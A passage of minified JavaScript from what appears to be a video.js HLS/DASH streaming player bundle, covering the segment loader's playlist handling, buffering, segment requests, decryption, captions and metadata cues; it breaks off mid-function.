e=this.getMediaInfo_();if(!this.sourceUpdater_||!e)return ba();if("main"===this.loaderType_){const{hasAudio:t,hasVideo:i,isMuxed:n}=e;if(i&&t&&!this.audioDisabled_&&!n)return this.sourceUpdater_.buffered();if(i)return this.sourceUpdater_.videoBuffered()}return this.sourceUpdater_.audioBuffered()}initSegmentForMap(e,t=!1){if(!e)return null;const i=_o(e);let n=this.initSegments_[i];return t&&!n&&e.bytes&&(this.initSegments_[i]=n={resolvedUri:e.resolvedUri,byterange:e.byterange,bytes:e.bytes,tracks:e.tracks,timescales:e.timescales}),n||e}segmentKey(e,t=!1){if(!e)return null;const i=vo(e);let n=this.keyCache_[i];this.cacheEncryptionKeys_&&t&&!n&&e.bytes&&(this.keyCache_[i]=n={resolvedUri:e.resolvedUri,bytes:e.bytes});const r={resolvedUri:(n||e).resolvedUri};return n&&(r.bytes=n.bytes),r}couldBeginLoading_(){return this.playlist_&&!this.paused()}load(){if(this.monitorBuffer_(),this.playlist_)return"INIT"===this.state&&this.couldBeginLoading_()?this.init_():void(!this.couldBeginLoading_()||"READY"!==this.state&&"INIT"!==this.state||(this.state="READY"))}init_(){return this.state="READY",this.resetEverything(),this.monitorBuffer_()}playlist(e,t={}){if(!e)return;const i=this.playlist_,n=this.pendingSegment_;this.playlist_=e,this.xhrOptions_=t,"INIT"===this.state&&(e.syncInfo={mediaSequence:e.mediaSequence,time:0},"main"===this.loaderType_&&this.syncController_.setDateTimeMappingForStart(e));let r=null;if(i&&(i.id?r=i.id:i.uri&&(r=i.uri)),this.logger_(`playlist update [${r} => ${e.id||e.uri}]`),this.trigger("syncinfoupdate"),"INIT"===this.state&&this.couldBeginLoading_())return this.init_();if(!i||i.uri!==e.uri)return null!==this.mediaIndex&&(e.endList?this.resyncLoader():this.resetLoader()),this.currentMediaInfo_=void 0,void this.trigger("playlistupdate");const s=e.mediaSequence-i.mediaSequence;if(this.logger_(`live window shift [${s}]`),null!==this.mediaIndex)if(this.mediaIndex-=s,this.mediaIndex<0)this.mediaIndex=null,this.partIndex=null;else{const e=this.playlist_.segments[this.mediaIndex];if(this.partIndex&&(!e.parts||!e.parts.length||!e.parts[this.partIndex])){const e=this.mediaIndex;this.logger_(`currently processing part (index ${this.partIndex}) no longer exists.`),this.resetLoader(),this.mediaIndex=e}}n&&(n.mediaIndex-=s,n.mediaIndex<0?(n.mediaIndex=null,n.partIndex=null):(n.mediaIndex>=0&&(n.segment=e.segments[n.mediaIndex]),n.partIndex>=0&&n.segment.parts&&(n.part=n.segment.parts[n.partIndex]))),this.syncController_.saveExpiredSegmentInfo(i,e)}pause(){this.checkBufferTimeout_&&(r().clearTimeout(this.checkBufferTimeout_),this.checkBufferTimeout_=null)}paused(){return null===this.checkBufferTimeout_}resetEverything(e){this.ended_=!1,this.activeInitSegmentId_=null,this.appendInitSegment_={audio:!0,video:!0},this.resetLoader(),this.remove(0,1/0,e),this.transmuxer_&&(this.transmuxer_.postMessage({action:"clearAllMp4Captions"}),this.transmuxer_.postMessage({action:"reset"}))}resetLoader(){this.fetchAtBuffer_=!1,this.resyncLoader()}resyncLoader(){this.transmuxer_&&Ro(this.transmuxer_),this.mediaIndex=null,this.partIndex=null,this.syncPoint_=null,this.isPendingTimestampOffset_=!1,this.callQueue_=[],this.loadQueue_=[],this.metadataQueue_.id3=[],this.metadataQueue_.caption=[],this.abort(),this.transmuxer_&&this.transmuxer_.postMessage({action:"clearParsedMp4Captions"})}remove(e,t,i=(()=>{}),n=!1){if(t===1/0&&(t=this.duration_()),t<=e)return void this.logger_("skipping remove because end ${end} is <= start ${start}");if(!this.sourceUpdater_||!this.getMediaInfo_())return void this.logger_("skipping remove because no source updater or starting media info");let r=1;const s=()=>{r--,0===r&&i()};!n&&this.audioDisabled_||(r++,this.sourceUpdater_.removeAudio(e,t,s)),(n||"main"===this.loaderType_)&&(this.gopBuffer_=((e,t,i,n)=>{const r=Math.ceil((t-n)*pt.ONE_SECOND_IN_TS),s=Math.ceil((i-n)*pt.ONE_SECOND_IN_TS),a=e.slice();let o=e.length;for(;o--&&!(e[o].pts<=s););if(-1===o)return a;let l=o+1;for(;l--&&!(e[l].pts<=r););return l=Math.max(l,0),a.splice(l,o-l+1),a})(this.gopBuffer_,e,t,this.timeMapping_),r++,this.sourceUpdater_.removeVideo(e,t,s));for(const i in this.inbandTextTracks_)ul(e,t,this.inbandTextTracks_[i]);ul(e,t,this.segmentMetadataTrack_),s()}monitorBuffer_(){this.checkBufferTimeout_&&r().clearTimeout(this.checkBufferTimeout_),this.checkBufferTimeout_=r().setTimeout(this.monitorBufferTick_.bind(this),1)}monitorBufferTick_(){"READY"===this.state&&this.fillBuffer_(),this.checkBufferTimeout_&&r().clearTimeout(this.checkBufferTimeout_),this.checkBufferTimeout_=r().setTimeout(this.monitorBufferTick_.bind(this),500)}fillBuffer_(){if(this.sourceUpdater_.updating())return;const e=this.chooseNextRequest_();e&&("number"==typeof e.timestampOffset&&(this.isPendingTimestampOffset_=!1,this.timelineChangeController_.pendingTimelineChange({type:this.loaderType_,from:this.currentTimeline_,to:e.timeline})),this.loadSegment_(e))}isEndOfStream_(e=this.mediaIndex,t=this.playlist_,i=this.partIndex){if(!t||!this.mediaSource_)return!1;const n="number"==typeof e&&t.segments[e],r=e+1===t.segments.length,s=!n||!n.parts||i+1===n.parts.length;return t.endList&&"open"===this.mediaSource_.readyState&&r&&s}chooseNextRequest_(){const e=this.buffered_(),t=Ca(e)||0,i=Da(e,this.currentTime_()),n=!this.hasPlayed_()&&i>=1,r=i>=this.goalBufferLength_(),s=this.playlist_.segments;if(!s.length||n||r)return null;this.syncPoint_=this.syncPoint_||this.syncController_.getSyncPoint(this.playlist_,this.duration_(),this.currentTimeline_,this.currentTime_());const a={partIndex:null,mediaIndex:null,startOfSegment:null,playlist:this.playlist_,isSyncRequest:Boolean(!this.syncPoint_)};if(a.isSyncRequest)a.mediaIndex=function(e,t,i){t=t||[];const n=[];let r=0;for(let s=0;s<t.length;s++){const a=t[s];if(e===a.timeline&&(n.push(s),r+=a.duration,r>i))return s}return 0===n.length?0:n[n.length-1]}(this.currentTimeline_,s,t);else if(null!==this.mediaIndex){const e=s[this.mediaIndex],i="number"==typeof this.partIndex?this.partIndex:-1;a.startOfSegment=e.end?e.end:t,e.parts&&e.parts[i+1]?(a.mediaIndex=this.mediaIndex,a.partIndex=i+1):a.mediaIndex=this.mediaIndex+1}else{const{segmentIndex:e,startTime:i,partIndex:n}=Va.getMediaInfoForTime({exactManifestTimings:this.exactManifestTimings,playlist:this.playlist_,currentTime:this.fetchAtBuffer_?t:this.currentTime_(),startingPartIndex:this.syncPoint_.partIndex,startingSegmentIndex:this.syncPoint_.segmentIndex,startTime:this.syncPoint_.time});a.getMediaInfoForTime=this.fetchAtBuffer_?`bufferedEnd ${t}`:`currentTime ${this.currentTime_()}`,a.mediaIndex=e,a.startOfSegment=i,a.partIndex=n}const o=s[a.mediaIndex];let l=o&&"number"==typeof a.partIndex&&o.parts&&o.parts[a.partIndex];if(!o||"number"==typeof a.partIndex&&!l)return null;if("number"!=typeof a.partIndex&&o.parts&&(a.partIndex=0,l=o.parts[0]),!i&&l&&!l.independent)if(0===a.partIndex){const e=s[a.mediaIndex-1],t=e.parts&&e.parts.length&&e.parts[e.parts.length-1];t&&t.independent&&(a.mediaIndex-=1,a.partIndex=e.parts.length-1,a.independent="previous segment")}else o.parts[a.partIndex-1].independent&&(a.partIndex-=1,a.independent="previous part");const u=this.mediaSource_&&"ended"===this.mediaSource_.readyState;return a.mediaIndex>=s.length-1&&u&&!this.seeking_()?null:this.generateSegmentInfo_(a)}generateSegmentInfo_(e){const{independent:t,playlist:i,mediaIndex:n,startOfSegment:r,isSyncRequest:s,partIndex:a,forceTimestampOffset:o,getMediaInfoForTime:l}=e,u=i.segments[n],c="number"==typeof a&&u.parts[a],d={requestId:"segment-loader-"+Math.random(),uri:c&&c.resolvedUri||u.resolvedUri,mediaIndex:n,partIndex:c?a:null,isSyncRequest:s,startOfSegment:r,playlist:i,bytes:null,encryptedBytes:null,timestampOffset:null,timeline:u.timeline,duration:c&&c.duration||u.duration,segment:u,part:c,byteLength:0,transmuxer:this.transmuxer_,getMediaInfoForTime:l,independent:t},h=void 0!==o?o:this.isPendingTimestampOffset_;d.timestampOffset=this.timestampOffsetForSegment_({segmentTimeline:u.timeline,currentTimeline:this.currentTimeline_,startOfSegment:r,buffered:this.buffered_(),overrideCheck:h});const p=Ca(this.sourceUpdater_.audioBuffered());return"number"==typeof p&&(d.audioAppendStart=p-this.sourceUpdater_.audioTimestampOffset()),this.sourceUpdater_.videoBuffered().length&&(d.gopsToAlignWith=((e,t,i)=>{if(null==t||!e.length)return[];const n=Math.ceil((t-i+3)*pt.ONE_SECOND_IN_TS);let r;for(r=0;r<e.length&&!(e[r].pts>n);r++);return e.slice(r)})(this.gopBuffer_,this.currentTime_()-this.sourceUpdater_.videoTimestampOffset(),this.timeMapping_)),d}timestampOffsetForSegment_(e){return(({segmentTimeline:e,currentTimeline:t,startOfSegment:i,buffered:n,overrideCheck:r})=>r||e!==t?e<t?i:n.length?n.end(n.length-1):i:null)(e)}earlyAbortWhenNeeded_(e){if(this.vhs_.tech_.paused()||!this.xhrOptions_.timeout||!this.playlist_.attributes.BANDWIDTH)return;if(Date.now()-(e.firstBytesReceivedAt||Date.now())<1e3)return;const t=this.currentTime_(),i=e.bandwidth,n=this.pendingSegment_.duration,r=Va.estimateSegmentRequestTime(n,i,this.playlist_,e.bytesReceived),s=function(e,t,i=1){return((e.length?e.end(e.length-1):0)-t)/i}(this.buffered_(),t,this.vhs_.tech_.playbackRate())-1;if(r<=s)return;const a=function(e){const{main:t,currentTime:i,bandwidth:n,duration:r,segmentDuration:s,timeUntilRebuffer:a,currentTimeline:o,syncController:l}=e,u=t.playlists.filter((e=>!Va.isIncompatible(e)));let c=u.filter(Va.isEnabled);c.length||(c=u.filter((e=>!Va.isDisabled(e))));const d=c.filter(Va.hasAttribute.bind(null,"BANDWIDTH")).map((e=>{const t=l.getSyncPoint(e,r,o,i)?1:2;return{playlist:e,rebufferingImpact:Va.estimateSegmentRequestTime(s,n,e)*t-a}})),h=d.filter((e=>e.rebufferingImpact<=0));return sl(h,((e,t)=>al(t.playlist,e.playlist))),h.length?h[0]:(sl(d,((e,t)=>e.rebufferingImpact-t.rebufferingImpact)),d[0]||null)}({main:this.vhs_.playlists.main,currentTime:t,bandwidth:i,duration:this.duration_(),segmentDuration:n,timeUntilRebuffer:s,currentTimeline:this.currentTimeline_,syncController:this.syncController_});if(!a)return;const o=r-s-a.rebufferingImpact;let l=.5;s<=wa&&(l=1),!a.playlist||a.playlist.uri===this.playlist_.uri||o<l||(this.bandwidth=a.playlist.attributes.BANDWIDTH*Do.BANDWIDTH_VARIANCE+1,this.trigger("earlyabort"))}handleAbort_(e){this.logger_(`Aborting ${hl(e)}`),this.mediaRequestsAborted+=1}handleProgress_(e,t){this.earlyAbortWhenNeeded_(t.stats),this.checkForAbort_(t.requestId)||this.trigger("progress")}handleTrackInfo_(e,t){this.earlyAbortWhenNeeded_(e.stats),this.checkForAbort_(e.requestId)||this.checkForIllegalMediaSwitch(t)||(t=t||{},function(e,t){if(!e&&!t||!e&&t||e&&!t)return!1;if(e===t)return!0;const i=Object.keys(e).sort(),n=Object.keys(t).sort();if(i.length!==n.length)return!1;for(let r=0;r<i.length;r++){const s=i[r];if(s!==n[r])return!1;if(e[s]!==t[s])return!1}return!0}(this.currentMediaInfo_,t)||(this.appendInitSegment_={audio:!0,video:!0},this.startingMediaInfo_=t,this.currentMediaInfo_=t,this.logger_("trackinfo update",t),this.trigger("trackinfo")),this.checkForAbort_(e.requestId)||(this.pendingSegment_.trackInfo=t,this.hasEnoughInfoToAppend_()&&this.processCallQueue_()))}handleTimingInfo_(e,t,i,n){if(this.earlyAbortWhenNeeded_(e.stats),this.checkForAbort_(e.requestId))return;const r=this.pendingSegment_,s=pl(t);r[s]=r[s]||{},r[s][i]=n,this.logger_(`timinginfo: ${t} - ${i} - ${n}`),this.hasEnoughInfoToAppend_()&&this.processCallQueue_()}handleCaptions_(e,t){if(this.earlyAbortWhenNeeded_(e.stats),this.checkForAbort_(e.requestId))return;if(0===t.length)return void this.logger_("SegmentLoader received no captions from a caption event");if(!this.pendingSegment_.hasAppendedData_)return void this.metadataQueue_.caption.push(this.handleCaptions_.bind(this,e,t));const i=null===this.sourceUpdater_.videoTimestampOffset()?this.sourceUpdater_.audioTimestampOffset():this.sourceUpdater_.videoTimestampOffset(),n={};t.forEach((e=>{n[e.stream]=n[e.stream]||{startTime:1/0,captions:[],endTime:0};const t=n[e.stream];t.startTime=Math.min(t.startTime,e.startTime+i),t.endTime=Math.max(t.endTime,e.endTime+i),t.captions.push(e)})),Object.keys(n).forEach((e=>{const{startTime:t,endTime:s,captions:a}=n[e],o=this.inbandTextTracks_;this.logger_(`adding cues from ${t} -> ${s} for ${e}`),function(e,t,i){if(!e[i]){t.trigger({type:"usage",name:"vhs-608"});let n=i;/^cc708_/.test(i)&&(n="SERVICE"+i.split("_")[1]);const r=t.textTracks().getTrackById(n);if(r)e[i]=r;else{let r=i,s=i,a=!1;const o=(t.options_.vhs&&t.options_.vhs.captionServices||{})[n];o&&(r=o.label,s=o.language,a=o.default),e[i]=t.addRemoteTextTrack({kind:"captions",id:n,default:a,label:r,language:s},!1).track}}}(o,this.vhs_.tech_,e),ul(t,s,o[e]),function({inbandTextTracks:e,captionArray:t,timestampOffset:i}){if(!t)return;const n=r().WebKitDataCue||r().VTTCue;t.forEach((t=>{const r=t.stream;e[r].addCue(new n(t.startTime+i,t.endTime+i,t.text))}))}({captionArray:a,inbandTextTracks:o,timestampOffset:i})})),this.transmuxer_&&this.transmuxer_.postMessage({action:"clearParsedMp4Captions"})}handleId3_(e,t,i){if(this.earlyAbortWhenNeeded_(e.stats),this.checkForAbort_(e.requestId))return;if(!this.pendingSegment_.hasAppendedData_)return void this.metadataQueue_.id3.push(this.handleId3_.bind(this,e,t,i));const n=null===this.sourceUpdater_.videoTimestampOffset()?this.sourceUpdater_.audioTimestampOffset():this.sourceUpdater_.videoTimestampOffset();((e,t,i)=>{e.metadataTrack_||(e.metadataTrack_=i.addRemoteTextTrack({kind:"metadata",label:"Timed Metadata"},!1).track,e.metadataTrack_.inBandMetadataTrackDispatchType=t)})(this.inbandTextTracks_,i,this.vhs_.tech_),(({inbandTextTracks:e,metadataArray:t,timestampOffset:i,videoDuration:n})=>{if(!t)return;const s=r().WebKitDataCue||r().VTTCue,a=e.metadataTrack_;if(!a)return;if(t.forEach((e=>{const t=e.cueTime+i;!("number"!=typeof t||r().isNaN(t)||t<0)&&t<1/0&&e.frames.forEach((e=>{const i=new s(t,t,e.value||e.url||e.data||"");i.frame=e,i.value=e,function(e){Object.defineProperties(e.frame,{id:{get:()=>(da.log.warn("cue.frame.id is deprecated. Use cue.value.key instead."),e.value.key)},value:{get:()=>(da.log.warn("cue.frame.value is deprecated. Use cue.value.data instead."),e.value.data)},privateData:{get:()=>(da.log.warn("cue.frame.privateData is deprecated. Use cue.value.data instead."),e.value.data)}})}(i),a.addCue(i)}))})),!a.cues||!a.cues.length)return;const o=a.cues,l=[];for(let e=0;e<o.length;e++)o[e]&&l.push(o[e]);const u=l.reduce(((e,t)=>{const i=e[t.startTime]||[];return i.push(t),e[t.startTime]=i,e}),{}),c=Object.keys(u).sort(((e,t)=>Number(e)-Number(t)));c.forEach(((e,t)=>{const i=u[e],r=Number(c[t+1])||n;i.forEach((e=>{e.endTime=r}))}))})({inbandTextTracks:this.inbandTextTracks_,metadataArray:t,timestampOffset:n,videoDuration:this.duration_()})}processMetadataQueue_(){this.metadataQueue_.id3.forEach((e=>e())),this.metadataQueue_.caption.forEach((e=>e())),this.metadataQueue_.id3=[],this.metadataQueue_.caption=[]}processCallQueue_(){const e=this.callQueue_;this.callQueue_=[],e.forEach((e=>e()))}processLoadQueue_(){const e=this.loadQueue_;this.loadQueue_=[],e.forEach((e=>e()))}hasEnoughInfoToLoad_(){if("audio"!==this.loaderType_)return!0;const e=this.pendingSegment_;return!(!e||this.getCurrentMediaInfo_()&&fl({timelineChangeController:this.timelineChangeController_,currentTimeline:this.currentTimeline_,segmentTimeline:e.timeline,loaderType:this.loaderType_,audioDisabled:this.audioDisabled_}))}getCurrentMediaInfo_(e=this.pendingSegment_){return e&&e.trackInfo||this.currentMediaInfo_}getMediaInfo_(e=this.pendingSegment_){return this.getCurrentMediaInfo_(e)||this.startingMediaInfo_}getPendingSegmentPlaylist(){return this.pendingSegment_?this.pendingSegment_.playlist:null}hasEnoughInfoToAppend_(){if(!this.sourceUpdater_.ready())return!1;if(this.waitingOnRemove_||this.quotaExceededErrorRetryTimeout_)return!1;const e=this.pendingSegment_,t=this.getCurrentMediaInfo_();if(!e||!t)return!1;const{hasAudio:i,hasVideo:n,isMuxed:r}=t;return!(n&&!e.videoTimingInfo||i&&!this.audioDisabled_&&!r&&!e.audioTimingInfo||fl({timelineChangeController:this.timelineChangeController_,currentTimeline:this.currentTimeline_,segmentTimeline:e.timeline,loaderType:this.loaderType_,audioDisabled:this.audioDisabled_}))}handleData_(e,t){if(this.earlyAbortWhenNeeded_(e.stats),this.checkForAbort_(e.requestId))return;if(this.callQueue_.length||!this.hasEnoughInfoToAppend_())return void this.callQueue_.push(this.handleData_.bind(this,e,t));const i=this.pendingSegment_;if(this.setTimeMapping_(i.timeline),this.updateMediaSecondsLoaded_(i.part||i.segment),"closed"!==this.mediaSource_.readyState){if(e.map&&(e.map=this.initSegmentForMap(e.map,!0),i.segment.map=e.map),e.key&&this.segmentKey(e.key,!0),i.isFmp4=e.isFmp4,i.timingInfo=i.timingInfo||{},i.isFmp4)this.trigger("fmp4"),i.timingInfo.start=i[pl(t.type)].start;else{const e=this.getCurrentMediaInfo_(),t="main"===this.loaderType_&&e&&e.hasVideo;let n;t&&(n=i.videoTimingInfo.start),i.timingInfo.start=this.trueSegmentStart_({currentStart:i.timingInfo.start,playlist:i.playlist,mediaIndex:i.mediaIndex,currentVideoTimestampOffset:this.sourceUpdater_.videoTimestampOffset(),useVideoTimingInfo:t,firstVideoFrameTimeForData:n,videoTimingInfo:i.videoTimingInfo,audioTimingInfo:i.audioTimingInfo})}if(this.updateAppendInitSegmentStatus(i,t.type),this.updateSourceBufferTimestampOffset_(i),i.isSyncRequest){this.updateTimingInfoEnd_(i),this.syncController_.saveSegmentTimingInfo({segmentInfo:i,shouldSaveTimelineMapping:"main"===this.loaderType_});const e=this.chooseNextRequest_();if(e.mediaIndex!==i.mediaIndex||e.partIndex!==i.partIndex)return void this.logger_("sync segment was incorrect, not appending");this.logger_("sync segment was correct, appending")}i.hasAppendedData_=!0,this.processMetadataQueue_(),this.appendData_(i,t)}}updateAppendInitSegmentStatus(e,t){"main"!==this.loaderType_||"number"!=typeof e.timestampOffset||e.changedTimestampOffset||(this.appendInitSegment_={audio:!0,video:!0}),this.playlistOfLastInitSegment_[t]!==e.playlist&&(this.appendInitSegment_[t]=!0)}getInitSegmentAndUpdateState_({type:e,initSegment:t,map:i,playlist:n}){if(i){const e=_o(i);if(this.activeInitSegmentId_===e)return null;t=this.initSegmentForMap(i,!0).bytes,this.activeInitSegmentId_=e}return t&&this.appendInitSegment_[e]?(this.playlistOfLastInitSegment_[e]=n,this.appendInitSegment_[e]=!1,this.activeInitSegmentId_=null,t):null}handleQuotaExceededError_({segmentInfo:e,type:t,bytes:i},n){const s=this.sourceUpdater_.audioBuffered(),a=this.sourceUpdater_.videoBuffered();s.length>1&&this.logger_("On QUOTA_EXCEEDED_ERR, found gaps in the audio buffer: "+La(s).join(", ")),a.length>1&&this.logger_("On QUOTA_EXCEEDED_ERR, found gaps in the video buffer: "+La(a).join(", "));const o=s.length?s.start(0):0,l=s.length?s.end(s.length-1):0,u=a.length?a.start(0):0,c=a.length?a.end(a.length-1):0;if(l-o<=1&&c-u<=1)return this.logger_(`On QUOTA_EXCEEDED_ERR, single segment too large to append to buffer, triggering an error. Appended byte length: ${i.byteLength}, audio buffer: ${La(s).join(", ")}, video buffer: ${La(a).join(", ")}, `),this.error({message:"Quota exceeded error with append of a single segment of content",excludeUntil:1/0}),void this.trigger("error");this.waitingOnRemove_=!0,this.callQueue_.push(this.appendToSourceBuffer_.bind(this,{segmentInfo:e,type:t,bytes:i}));const d=this.currentTime_()-1;this.logger_(`On QUOTA_EXCEEDED_ERR, removing audio/video from 0 to ${d}`),this.remove(0,d,(()=>{this.logger_("On QUOTA_EXCEEDED_ERR, retrying append in 1s"),this.waitingOnRemove_=!1,this.quotaExceededErrorRetryTimeout_=r().setTimeout((()=>{this.logger_("On QUOTA_EXCEEDED_ERR, re-processing call queue"),this.quotaExceededErrorRetryTimeout_=null,this.processCallQueue_()}),1e3)}),!0)}handleAppendError_({segmentInfo:e,type:t,bytes:i},n){n&&(22!==n.code?(this.logger_("Received non QUOTA_EXCEEDED_ERR on append",n),this.error(`${t} append of ${i.length}b failed for segment #${e.mediaIndex} in playlist ${e.playlist.id}`),this.trigger("appenderror")):this.handleQuotaExceededError_({segmentInfo:e,type:t,bytes:i}))}appendToSourceBuffer_({segmentInfo:e,type:t,initSegment:i,data:n,bytes:r}){if(!r){const e=[n];let t=n.byteLength;i&&(e.unshift(i),t+=i.byteLength),r=(e=>{let t,i=0;return e.bytes&&(t=new Uint8Array(e.bytes),e.segments.forEach((e=>{t.set(e,i),i+=e.byteLength}))),t})({bytes:t,segments:e})}this.sourceUpdater_.appendBuffer({segmentInfo:e,type:t,bytes:r},this.handleAppendError_.bind(this,{segmentInfo:e,type:t,bytes:r}))}handleSegmentTimingInfo_(e,t,i){if(!this.pendingSegment_||t!==this.pendingSegment_.requestId)return;const n=this.pendingSegment_.segment,r=`${e}TimingInfo`;n[r]||(n[r]={}),n[r].transmuxerPrependedSeconds=i.prependedContentDuration||0,n[r].transmuxedPresentationStart=i.start.presentation,n[r].transmuxedDecodeStart=i.start.decode,n[r].transmuxedPresentationEnd=i.end.presentation,n[r].transmuxedDecodeEnd=i.end.decode,n[r].baseMediaDecodeTime=i.baseMediaDecodeTime}appendData_(e,t){const{type:i,data:n}=t;if(!n||!n.byteLength)return;if("audio"===i&&this.audioDisabled_)return;const r=this.getInitSegmentAndUpdateState_({type:i,initSegment:t.initSegment,playlist:e.playlist,map:e.isFmp4?e.segment.map:null});this.appendToSourceBuffer_({segmentInfo:e,type:i,initSegment:r,data:n})}loadSegment_(e){this.state="WAITING",this.pendingSegment_=e,this.trimBackBuffer_(e),"number"==typeof e.timestampOffset&&this.transmuxer_&&this.transmuxer_.postMessage({action:"clearAllMp4Captions"}),this.hasEnoughInfoToLoad_()?this.updateTransmuxerAndRequestSegment_(e):this.loadQueue_.push((()=>{const t=_({},e,{forceTimestampOffset:!0});_(e,this.generateSegmentInfo_(t)),this.isPendingTimestampOffset_=!1,this.updateTransmuxerAndRequestSegment_(e)}))}updateTransmuxerAndRequestSegment_(e){this.shouldUpdateTransmuxerTimestampOffset_(e.timestampOffset)&&(this.gopBuffer_.length=0,e.gopsToAlignWith=[],this.timeMapping_=0,this.transmuxer_.postMessage({action:"reset"}),this.transmuxer_.postMessage({action:"setTimestampOffset",timestampOffset:e.timestampOffset}));const t=this.createSimplifiedSegmentObj_(e),i=this.isEndOfStream_(e.mediaIndex,e.playlist,e.partIndex),n=null!==this.mediaIndex,r=e.timeline!==this.currentTimeline_&&e.timeline>0,s=i||n&&r;this.logger_(`Requesting ${hl(e)}`),t.map&&!t.map.bytes&&(this.logger_("going to request init segment."),this.appendInitSegment_={video:!0,audio:!0}),e.abortRequests=(({xhr:e,xhrOptions:t,decryptionWorker:i,segment:n,abortFn:r,progressFn:s,trackInfoFn:a,timingInfoFn:o,videoSegmentTimingInfoFn:l,audioSegmentTimingInfoFn:u,id3Fn:c,captionsFn:d,isEndOfTimeline:h,endedTimelineFn:p,dataFn:f,doneFn:m,onTransmuxerLog:g})=>{const _=[],v=(({activeXhrs:e,decryptionWorker:t,trackInfoFn:i,timingInfoFn:n,videoSegmentTimingInfoFn:r,audioSegmentTimingInfoFn:s,id3Fn:a,captionsFn:o,isEndOfTimeline:l,endedTimelineFn:u,dataFn:c,doneFn:d,onTransmuxerLog:h})=>{let p=0,f=!1;return(m,g)=>{if(!f){if(m)return f=!0,Uo(e),d(m,g);if(p+=1,p===e.length){const p=function(){if(g.encryptedBytes)return(({decryptionWorker:e,segment:t,trackInfoFn:i,timingInfoFn:n,videoSegmentTimingInfoFn:r,audioSegmentTimingInfoFn:s,id3Fn:a,captionsFn:o,isEndOfTimeline:l,endedTimelineFn:u,dataFn:c,doneFn:d,onTransmuxerLog:h})=>{Go({id:t.requestId,key:t.key,encryptedBytes:t.encryptedBytes,decryptionWorker:e},(e=>{t.bytes=e,Jo({segment:t,bytes:t.bytes,trackInfoFn:i,timingInfoFn:n,videoSegmentTimingInfoFn:r,audioSegmentTimingInfoFn:s,id3Fn:a,captionsFn:o,isEndOfTimeline:l,endedTimelineFn:u,dataFn:c,doneFn:d,onTransmuxerLog:h})}))})({decryptionWorker:t,segment:g,trackInfoFn:i,timingInfoFn:n,videoSegmentTimingInfoFn:r,audioSegmentTimingInfoFn:s,id3Fn:a,captionsFn:o,isEndOfTimeline:l,endedTimelineFn:u,dataFn:c,doneFn:d,onTransmuxerLog:h});Jo({segment:g,bytes:g.bytes,trackInfoFn:i,timingInfoFn:n,videoSegmentTimingInfoFn:r,audioSegmentTimingInfoFn:s,id3Fn:a,captionsFn:o,isEndOfTimeline:l,endedTimelineFn:u,dataFn:c,doneFn:d,onTransmuxerLog:h})};if(g.endOfAllRequests=Date.now(),g.map&&g.map.encryptedBytes&&!g.map.bytes)return Go({decryptionWorker:t,id:g.requestId+"-init",encryptedBytes:g.map.encryptedBytes,key:g.map.key},(t=>{g.map.bytes=t,qo(g,(t=>{if(t)return Uo(e),d(t,g);p()}))}));p()}}}})({activeXhrs:_,decryptionWorker:i,trackInfoFn:a,timingInfoFn:o,videoSegmentTimingInfoFn:l,audioSegmentTimingInfoFn:u,id3Fn:c,captionsFn:d,isEndOfTimeline:h,endedTimelineFn:p,dataFn:f,doneFn:m,onTransmuxerLog:g});if(n.key&&!n.key.bytes){const i=[n.key];n.map&&!n.map.bytes&&n.map.key&&n.map.key.resolvedUri===n.key.resolvedUri&&i.push(n.map.key);const r=e(ya(t,{uri:n.key.resolvedUri,responseType:"arraybuffer"}),zo(n,i,v));_.push(r)}if(n.map&&!n.map.bytes){if(n.map.key&&(!n.key||n.key.resolvedUri!==n.map.key.resolvedUri)){const i=e(ya(t,{uri:n.map.key.resolvedUri,responseType:"arraybuffer"}),zo(n,[n.map.key],v));_.push(i)}const i=ya(t,{uri:n.map.resolvedUri,responseType:"arraybuffer",headers:ho(n.map)}),r=(({segment:e,finishProcessingFn:t})=>(i,n)=>{const r=Wo(i,n);if(r)return t(r,e);const s=new Uint8Array(n.response);if(e.map.key)return e.map.encryptedBytes=s,t(null,e);e.map.bytes=s,qo(e,(function(i){if(i)return i.xhr=n,i.status=n.status,t(i,e);t(null,e)}))})({segment:n,finishProcessingFn:v}),s=e(i,r);_.push(s)}const y=ya(t,{uri:n.part&&n.part.resolvedUri||n.resolvedUri,responseType:"arraybuffer",headers:ho(n)}),b=e(y,(({segment:e,finishProcessingFn:t,responseType:i})=>(n,r)=>{const s=Wo(n,r);if(s)return t(s,e);const a="arraybuffer"!==i&&r.responseText?(e=>{const t=new Uint8Array(new ArrayBuffer(e.length));for(let i=0;i<e.length;i++)t[i]=e.charCodeAt(i);return t.buffer})(r.responseText.substring(e.lastReachedChar||0)):r.response;return e.stats=(e=>({bandwidth:e.bandwidth,bytesReceived:e.bytesReceived||0,roundTripTime:e.roundTripTime||0}))(r),e.key?e.encryptedBytes=new Uint8Array(a):e.bytes=new Uint8Array(a),t(null,e)})({segment:n,finishProcessingFn:v,responseType:y.responseType}));b.addEventListener("progress",(({segment:e,progressFn:t,trackInfoFn:i,timingInfoFn:n,videoSegmentTimingInfoFn:r,audioSegmentTimingInfoFn:s,id3Fn:a,captionsFn:o,isEndOfTimeline:l,endedTimelineFn:u,dataFn:c})=>i=>{if(!i.target.aborted)return e.stats=ya(e.stats,(e=>{const t=e.target,i={bandwidth:1/0,bytesReceived:0,roundTripTime:Date.now()-t.requestTime||0};return i.bytesReceived=e.loaded,i.bandwidth=Math.floor(i.bytesReceived/i.roundTripTime*8*1e3),i})(i)),!e.stats.firstBytesReceivedAt&&e.stats.bytesReceived&&(e.stats.firstBytesReceivedAt=Date.now()),t(i,e)})({segment:n,progressFn:s,trackInfoFn:a,timingInfoFn:o,videoSegmentTimingInfoFn:l,audioSegmentTimingInfoFn:u,id3Fn:c,captionsFn:d,isEndOfTimeline:h,endedTimelineFn:p,dataFn:f})),_.push(b);const w={};return _.forEach((e=>{e.addEventListener("loadend",(({loadendState:e,abortFn:t})=>i=>{i.target.aborted&&t&&!e.calledAbortFn&&(t(),e.calledAbortFn=!0)})({loadendState:w,abortFn:r}))})),()=>Uo(_)})({xhr:this.vhs_.xhr,xhrOptions:this.xhrOptions_,decryptionWorker:this.decrypter_,segment:t,abortFn:this.handleAbort_.bind(this,e),progressFn:this.handleProgress_.bind(this),trackInfoFn:this.handleTrackInfo_.bind(this),timingInfoFn:this.handleTimingInfo_.bind(this),videoSegmentTimingInfoFn:this.handleSegmentTimingInfo_.bind(this,"video",e.requestId),audioSegmentTimingInfoFn:this.handleSegmentTimingInfo_.bind(this,"audio",e.requestId),captionsFn:this.handleCaptions_.bind(this),isEndOfTimeline:s,endedTimelineFn:()=>{this.logger_("received endedtimeline 